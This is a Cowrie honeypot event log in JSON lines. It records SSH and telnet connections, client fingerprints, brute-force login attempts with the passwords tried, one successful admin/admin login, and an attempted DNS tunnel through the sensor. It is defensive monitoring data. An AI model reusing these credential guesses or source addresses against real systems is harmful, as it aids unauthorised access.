{"eventid":"cowrie.session.closed","duration":34.95779776573181,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:31:33.747331Z","src_ip":"69.4.83.194","session":"5583b52f9572","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":53044,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce868586f9aa","protocol":"ssh","message":"New connection: 89.223.69.22:53044 (10.17.0.5:22) [session: ce868586f9aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:31:41.632727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:31:41.637937Z","src_ip":"89.223.69.22","session":"ce868586f9aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:31:41.757575Z","src_ip":"89.223.69.22","session":"ce868586f9aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alexande","message":"login attempt [root/alexande] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:31:42.115917Z","src_ip":"89.223.69.22","session":"ce868586f9aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:31:43.237642Z","src_ip":"89.223.69.22","session":"ce868586f9aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":42484,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7cc184da1c3","protocol":"telnet","message":"New connection: 69.4.83.194:42484 (159.203.135.109:23) [session: b7cc184da1c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:31:53.400583Z"}
{"eventid":"cowrie.session.closed","duration":36.79886841773987,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:32:00.513628Z","src_ip":"69.4.83.194","session":"219cd1a33a73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":70.88326692581177,"message":"Connection lost after 70 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:32:09.719727Z","src_ip":"178.128.93.180","session":"05ec6313eea6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":50744,"dst_ip":"159.203.135.109","dst_port":23,"session":"81c82444bf66","protocol":"telnet","message":"New connection: 69.4.83.194:50744 (159.203.135.109:23) [session: 81c82444bf66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:32:14.549938Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":51090,"dst_ip":"10.17.0.5","dst_port":23,"session":"58784cced366","protocol":"telnet","message":"New connection: 178.128.93.180:51090 (10.17.0.5:23) [session: 58784cced366]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:32:14.648407Z"}
{"eventid":"cowrie.session.closed","duration":32.58134341239929,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:32:25.981811Z","src_ip":"69.4.83.194","session":"b7cc184da1c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.37.215.51","src_port":51168,"dst_ip":"159.203.135.109","dst_port":23,"session":"07abeae76ce3","protocol":"telnet","message":"New connection: 191.37.215.51:51168 (159.203.135.109:23) [session: 07abeae76ce3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:32:27.933912Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":54952,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6b5f3fe9538","protocol":"telnet","message":"New connection: 69.4.83.194:54952 (159.203.135.109:23) [session: c6b5f3fe9538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:32:28.549436Z"}
{"eventid":"cowrie.session.closed","duration":3.4208638668060303,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:32:31.354686Z","src_ip":"191.37.215.51","session":"07abeae76ce3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.954118967056274,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:32:49.503891Z","src_ip":"69.4.83.194","session":"81c82444bf66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.34358787536621,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:33:00.892904Z","src_ip":"69.4.83.194","session":"c6b5f3fe9538","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00757193565369,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:33:07.430490Z","src_ip":"79.139.59.21","session":"d46dcfa8e7d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.174.224","src_port":42122,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba24fe5310ad","protocol":"ssh","message":"New connection: 43.165.174.224:42122 (159.203.135.109:22) [session: ba24fe5310ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:33:09.221120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:33:09.225820Z","src_ip":"43.165.174.224","session":"ba24fe5310ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:33:09.407879Z","src_ip":"43.165.174.224","session":"ba24fe5310ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":42510,"dst_ip":"159.203.135.109","dst_port":23,"session":"93eee91f0514","protocol":"telnet","message":"New connection: 69.4.83.194:42510 (159.203.135.109:23) [session: 93eee91f0514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:33:09.634515Z"}
{"eventid":"cowrie.login.failed","username":"ts2","password":"123456","message":"login attempt [ts2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:33:10.153464Z","src_ip":"43.165.174.224","session":"ba24fe5310ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":41768,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab773b88fd07","protocol":"ssh","message":"New connection: 103.176.20.57:41768 (10.17.0.5:22) [session: ab773b88fd07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:33:11.019197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:33:11.023861Z","src_ip":"103.176.20.57","session":"ab773b88fd07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:33:11.273463Z","src_ip":"103.176.20.57","session":"ab773b88fd07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:33:11.335827Z","src_ip":"43.165.174.224","session":"ba24fe5310ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"987654321l","message":"login attempt [root/987654321l] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:33:12.021721Z","src_ip":"103.176.20.57","session":"ab773b88fd07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:33:13.274280Z","src_ip":"103.176.20.57","session":"ab773b88fd07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":65.89256572723389,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:33:20.540855Z","src_ip":"178.128.93.180","session":"58784cced366","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":49634,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b4b32ba2156","protocol":"telnet","message":"New connection: 69.4.83.194:49634 (159.203.135.109:23) [session: 8b4b32ba2156]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:33:27.657700Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":50046,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9b15453240e","protocol":"telnet","message":"New connection: 69.4.83.194:50046 (159.203.135.109:23) [session: c9b15453240e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:33:28.597716Z"}
{"eventid":"cowrie.session.closed","duration":34.37846755981445,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:33:44.012831Z","src_ip":"69.4.83.194","session":"93eee91f0514","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":8552,"dst_ip":"10.17.0.5","dst_port":22,"session":"c443fd60cf33","protocol":"ssh","message":"New connection: 87.251.64.176:8552 (10.17.0.5:22) [session: c443fd60cf33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:33:45.806138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:33:45.811340Z","src_ip":"87.251.64.176","session":"c443fd60cf33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:33:45.931624Z","src_ip":"87.251.64.176","session":"c443fd60cf33","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:33:46.295417Z","src_ip":"87.251.64.176","session":"c443fd60cf33","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:33:46.405746Z","session":"c443fd60cf33","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:33:46.501674Z","src_ip":"87.251.64.176","session":"c443fd60cf33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:33:46.599112Z","src_ip":"87.251.64.176","session":"c443fd60cf33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":48848,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6e19aab6b9f","protocol":"ssh","message":"New connection: 103.82.20.28:48848 (10.17.0.5:22) [session: b6e19aab6b9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:33:54.865002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:33:54.874243Z","src_ip":"103.82.20.28","session":"b6e19aab6b9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:33:55.123726Z","src_ip":"103.82.20.28","session":"b6e19aab6b9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"seregaserega","message":"login attempt [root/seregaserega] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:33:55.877852Z","src_ip":"103.82.20.28","session":"b6e19aab6b9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:33:57.128862Z","src_ip":"103.82.20.28","session":"b6e19aab6b9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.13988161087036,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:34:00.797484Z","src_ip":"69.4.83.194","session":"8b4b32ba2156","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":48328,"dst_ip":"10.17.0.5","dst_port":22,"session":"55cb29cafa2f","protocol":"ssh","message":"New connection: 103.77.175.15:48328 (10.17.0.5:22) [session: 55cb29cafa2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:34:00.878868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:34:00.883912Z","src_ip":"103.77.175.15","session":"55cb29cafa2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:34:01.143798Z","src_ip":"103.77.175.15","session":"55cb29cafa2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nhfrnjh1","message":"login attempt [root/nhfrnjh1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:34:01.933222Z","src_ip":"103.77.175.15","session":"55cb29cafa2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":43062,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c572431bdb4","protocol":"ssh","message":"New connection: 109.237.96.109:43062 (10.17.0.5:22) [session: 5c572431bdb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:34:02.670277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:34:02.679411Z","src_ip":"109.237.96.109","session":"5c572431bdb4","protocol":"ssh"}
